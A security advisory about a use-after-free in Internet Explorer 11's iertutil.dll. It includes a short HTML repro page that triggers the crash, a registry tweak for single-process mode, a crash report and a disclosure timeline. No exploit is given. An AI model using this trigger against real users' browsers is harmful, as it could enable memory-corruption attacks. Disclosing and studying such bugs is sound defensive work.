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Microsoft Internet Explorer 11 iertutil LCIEGet­Typed­Component­From­Thread use-after-free

(The fix and CVE number for this issue are unknown)

Synopsis

A specially crafted web-page can cause the iertutil.dll module of Microsoft Internet Explorer 11 to free some memory while it still holds a reference to this memory. The module can be made to use this reference after the memory has been freed. Unlike many use-after-free bugs in MSIE, this issue, and apparently all code in this module, is not mitigated by Mem­GC. This issue appears to have been addressed in July 2016, as it failed to reproduce after the July security updates were installed.

Known affected software, attack vectors and mitigation

  • Microsoft Internet Explorer 11

    An attacker would need to get a target user to open a specially crafted web-page and allow the web-page to open a popup. The target user may need to run MSIE in the non-default single process mode. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Repro.html <!DOCTYPE html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=5"> <script> onload = function () { open("about:blank").close(); create­Popup(); document.write("x"); }; </script> </head> </html>

Description

This looks like a pretty straightforward use-after-free, but I did not investigate at what point in the repro the memory gets freed and when it gets re-used, so I do not know if an attacker has any chance to force reallocation of the freed memory before reuse.

The issue can be triggered with Mem­GC enabled; the object that is freed does not appear to be protected by Mem­GC.

The repro requires that MSIE is run in single-process mode in order to trigger the use-after-free. It is not known if it is possible to tweak the repro to have MSIE take a similar code-path that leads to a use-after-free when MSIE is not in single-process mode.

MSIE can be started in single process mode by setting the following registry key before starting MSIE:

HKCU\Software\Microsoft\Internet Explorer\Main\Tab­Proc­Growth = DWORD:0

To revert this change, remove the registry key or set the value to 1 and restart MSIE.

Exploit

A number of factors appear to be getting in the way of creating a usable exploit for this issue:

  • I did not investigate if it is possible to reproduce the issue without opening a pop-up to make it exploitable in the presence of a pop-up blocker.
  • I did not investigate if it is possible to reproduce the issue without running MSIE in single-process process mode to exploit it on a system with default settings.
  • I did not investigate if it is possible to reallocate the freed memory between the free and the use-after-free in order to modify control flow. Because there are so many things that would need to be investigated in order to write an exploit, I felt it was not cost-effective for me to do so.

Time-line

  • July 2016: This vulnerability was found through fuzzing.
  • July 2016: This vulnerability was submitted to ZDI and i­Defense.
  • July 2016: ZDI reports they are unable to reproduce the issue.
  • November 2016: Details of this issue are released.
Bug­Id report: AVR:Free 275.483 @ iexplore.exe!iertutil.dll!LCIEGet­Typed­Component­From­Thread
Id:  AVR:Free 275.483
Description:  Access violation while reading freed memory at 0x1FFE25A6ED2
Location:  iexplore.exe!iertutil.dll!LCIEGet­Typed­Component­From­Thread
Security impact:  Potentially exploitable security issue
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